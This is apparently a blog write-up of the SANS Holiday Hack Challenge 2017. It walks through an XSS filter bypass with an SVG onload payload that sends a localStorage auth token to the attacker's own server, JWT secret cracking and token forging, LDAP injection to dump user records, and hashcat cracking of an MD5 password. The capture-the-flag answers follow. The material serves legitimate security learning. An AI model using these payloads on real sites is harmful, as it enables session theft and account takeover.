If we look at the source code toward the bottom of the index page, we spot a rather unusual token called np-auth that seems to be used for authentication. Interestingly enough, it also seems to be a token that is in the localStorage property of the web page.
If we are able to execute XSS on the page, then we should be able to gain access to that token and hopefully use it to log in!
Another thing that really caught my attention was the custom.js file. If we take a look at the source code for that JavaScript file, then we see some interesting information about the Customer Service Request page.
We can see that there in fact is some filtering being done in the message portion of the service request. Technically the script is filtering anything that contains the word “script” in it, both lowercase and uppercase. At the same time, the line above it makes sure that the message ends with a period.
So let’s go ahead and click on the “Support” link on the login page. We should be presented with a prompt about login issues. Let’s quickly fill out the form with Alabaster’s information and a test message, like so…
Once done, let’s submit that and we will see our Password Reset Request.
Alright, so that works fine. Let’s go back to the form we submitted and try to insert some JavaScript to create a XSS Attack. I suggest you read up on some of the XSS Bypasses which will greatly help you bypass the filtering on this page.
From the custom.js code, we know that we can’t use the word “script” in our XSS, and the JavaScript code has to be before the period.
So an easy way to bypass these restrictions is by using the SVG (Scalable Vector Graphics) onload atrribute, and simply inject it into the middle of our message.
So let’s create a simple XSS Alert to test. We can inject the follow JavaScript to create an alert box with the words “XSS”.
<svg/onload=alert('XSS')>
So our test form should like like so…
Once done, let’s submit it and we should get our alert box with the words “XSS”.
Perfect! We got a working XSS Attack. So all we have to do now is access the np-auth token and have it sent to our AWS EC2 Instance.
We can use the following JavaScript code to accomplish that. Just remember to replace “[IP]” with your own AWS EC2 IP.
<svg/onload=document.location="http://[IP]:8000/?c="+localStorage.getItem("np-auth")>
So our form should look like so…
Before we send that out, let’s make sure we have a listener running on our AWS EC2 Instance.
ubuntu@ip-172-31-24-12:~$ nc -nvlp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Now that we have that, submit the form. A few seconds later, we should get a connect back from the EDB Server with the np-auth token.
ubuntu@ip-172-31-24-12:~$ nc -nvlp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from [35.196.239.128] port 8000 [tcp/*] accepted (family 2, sport 54990)
GET /?c=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://127.0.0.1/reset_request?ticket=UEKET-50I7S-BNOWO-5P138
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
Host: 18.218.75.54:8000
Perfect! So we have our token! From the looks of it, and from the hints provided to us - this is a JWT Token. To decipher this, we can go to jwt.io and just paste in our token to see the decoded payload.
Taking a look at the tokens data, we see that this token belongs to Alabaster Snowball who is in the Engineering Department… but unfortunately it’s expired!
So for us to be able to use this token, we will have to change the date to something current. But before we can do that, we need to crack the Secret Key just so we can generate a valid signature.
To accomplish this we can use John The Ripper, but we first need to do a few things.
First of all, we need to convert the JWT Token into a format that John will understand. To do so, we will use the JWT2John script from GitHub.
Simple run the script followed by the token and save it to a file.
python jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I > alabaster.jwt
Reading the saved file, we should see our converted token.
root@kali:~/HH# cat alabaster.jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9#33b6782370adad6b78486c1f83b9a2e95f7fe2b6991397a156423d874e24afa2
Nice, now we can go ahead and crack the converted JTW Token. Unfortunately for many users the version of John that ships with Kali will not work, so we need to install the Jumbo Version of John which can be found on GitHub.
I know that the process of setting this up is a little complicated, so I will take you through it step by step.
To start let’s navigatge to the /opt directory and let’s close the GitHub repository.
root@kali:~/HH# cd /opt/
root@kali:/opt# git clone https://github.com/magnumripper/JohnTheRipper.git
After we have sucesfully downloaded the repository, let’s go ahead and make the John binary from it’s associated files.
root@kali:/opt# cd JohnTheRipper/
root@kali:/opt/JohnTheRipper# cd src
root@kali:/opt/JohnTheRipper/src# ./configure
root@kali:/opt/JohnTheRipper/src# make -s clean && make -sj4
Once you successfully create the files, navigate to the /run/ directory in the John folder, and run John against our converted JWT Token.
root@kali:/opt/JohnTheRipper# cd run/
root@kali:/opt/JohnTheRipper/run# ./john /root/HH/alabaster.jwt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3lv3s (?)
1g 0:00:01:37 DONE 3/3 (2018-01-11 13:51) 0.01025g/s 3277Kp/s 3277Kc/s 3277KC/s 3k3ys..mo_tl
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Awesome! We were able to crack the secret code for the signature which is “3lv3s”.
From here, we can go back to jwt.io and change the “expires” date of the JWT token. Also don’t forget to include our cracked secret to create a valid signature.
Once we have a valid JWT Token with a current date, we can return back to the EDB Login Page and open up our Developer Tools in our Browser. From here, we can use the setItem attribute for localStorage to set np-auth with our new token.
After that token is set, refresh the page and we should be able to access Alabaster’s account.
Once we have access to the account, upon looking around we spot a “Santa Panel” link from the Search function.
Looking into the source code and jQuery attributes of the link, we see that we need to be in the “administrators” department, and we need to be Santa Claus.
function(e) {
e.preventDefault();
if (user_json['dept'] == 'administrators') {
pass = prompt('Confirm you are a Claus by confirming your password: ').trim()
if (pass) {
poster("/html", {
santa_access: pass
}, token, function(result) {
if (result) {
$('#inneroverlay').html(result);
$('.overlay').css('display', 'flex');
} else {
Materialize.toast('Incorrect Password...', 4000);
}
});
}
} else {
Materialize.toast('You must be a Claus to access this panel!', 4000);
}
}
At this point we don’t have much to work with, so we need to find a SQL injection or something in this Database to pull out Santa Claus’s password and information.
While browsing the page and capturing requests and responses via Burp, I came across a very interesting note about LDAP.
An initial look at this note reveals to us the LDAP Query that is being used for the request form!
SANS actually have a very good post on Undersanding and Exploiting Web Based LDAP that we can use to help us!
After reading the article, the first thing I do is search for Alabaster’s name in the Elf Name field, while pulling up all the information I can from the drop down.
Capturing the Request in Burp also reveals some interesting information about the attribute query.
Alright, awesome we got Alabaster’s information… but let’s see if we can’t pull out everybody’s information from the database.
In the SANS Blog Post, the writer was able to inject ))(department=it)(|(cn=
into his query to list all the users. So let’s try using that query to see if it works.
Awesome, it does work! Upon scrolling down to the bottom of the page we see Santa’s information.
Now that we have Santa’s Name, Email, and Department, let’s return back to JWT.io and change our JWT Token so we can login as Santa.
Once again, once we have the generated token, set the token using setItem in your Developer console, and refresh the page.
Nice, so we were able to access Santa’s account! Unfortunately for us we still can’t access the Santa Panel as we need a password!
At this point, I opt to capture the LDAP Query request via Brup to pull all the department info. Once the request is captured, I changed the attributes field to * so it includes all the information.
Once we send that out, and capture the response, we can see everyones information, including Santa’s Password which seems to be an MD5 Hash.
Now that we have Santa’s password hash, let’s save it to a file and use HashCat to crack it.
---snip---
[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit => [s]tatus [p]ause [r]esd8b4c05a35b0513f302a85c409b4aab3:001cookielips001
Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: d8b4c05a35b0513f302a85c409b4aab3
Time.Started.....: Thu Jan 11 15:08:18 2018 (5 secs)
Time.Estimated...: Thu Jan 11 15:08:23 2018 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 3070.7 kH/s (0.59ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 14272405/14343297 (99.51%)
Rejected.........: 1941/14272405 (0.01%)
Restore.Point....: 14268309/14343297 (99.48%)
Candidates.#1....: 00257979 -> 0012093760
HWMon.Dev.#1.....: N/A
Started: Thu Jan 11 15:08:17 2018
Stopped: Thu Jan 11 15:08:24 2018
Great, we cracked the password! Now that we have Santa’s real password, we are able to access the Letter to Santa.
After we unlock all the page, we can go back to our Stocking and see a new NPC Conversation with Glinda the Good Witch of Oz!
Now that we have everything unlocked and completed, let’s answer the questions:
1) Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?
The title of the first page of The Great Book is “About This Book…”.
2) Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball’s password? The topic of the second page of The Great Book is the creation of flying animals in Oz, which lead to the creation of flying reindeer’s.
Alabaster Snowball’s password is stream_unhappy_buy_loss.
3) The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?
The name of the share on hhc17-smb-server is FileStor.
4) Elf Web Access (EWA. is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com. What can you learn from The Great Book page found in an e-mail on that server?
The fourth page of The Great Book speaks of the battles between Munchkins and Elves, the creation of the Lollipop Guild, and their infiltration in the North Pole population.
5) How many infractions are required to be marked as naughty on Santa’s Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?
It takes four infractions to be marked as naughty on Santa’s list. And the 6 Moles are as follows:
The discussion between us, Sam the Snowman, and Bumble informs us that the person throwing giant snowballs is Bumble, the Abominable Snow Monster.
6) The North Pole engineering team has introduced an Elf as a Service (EaaS. platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?
The title of the first page of The Great Book is “The Dreaded Inter-Dimensional Tornadoes.”
7) Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI. to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?
The seventh page of The Great Book gives us details regarding the Witches of Oz, their power, and their neutrality during the Great Schism.
8) Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com. Who wrote the letter?
The letter was written by the Wizard of Oz, Santa’s good friend.
9) Which character is ultimately the villain causing the giant snowball problem? What is the villain’s motive?
The villain causing the giant snowball problem is Glinda, the “Good” Witch. She cast a spell on Bumble to make him throw giant snowballs, in order to create an all-out war between Elves and Munchkins. This would have allowed her to make a profit, by selling spells to both sides of the war.
As always, SANS has done an amazing job for this year’s Holiday Hack!
Although I liked the mini-game from last year, this years was, OK. But - the technical portion, including the LDAP Injection, XXE, Phishing, DDE Attack, XSS Attack, and some Crypto was a great learning experience which showed what can occur in a real world scenario along with the outcome of it.
Really looking forward to what’s to come next year!
Cheers everyone, thanks for reading!
Leave a Comment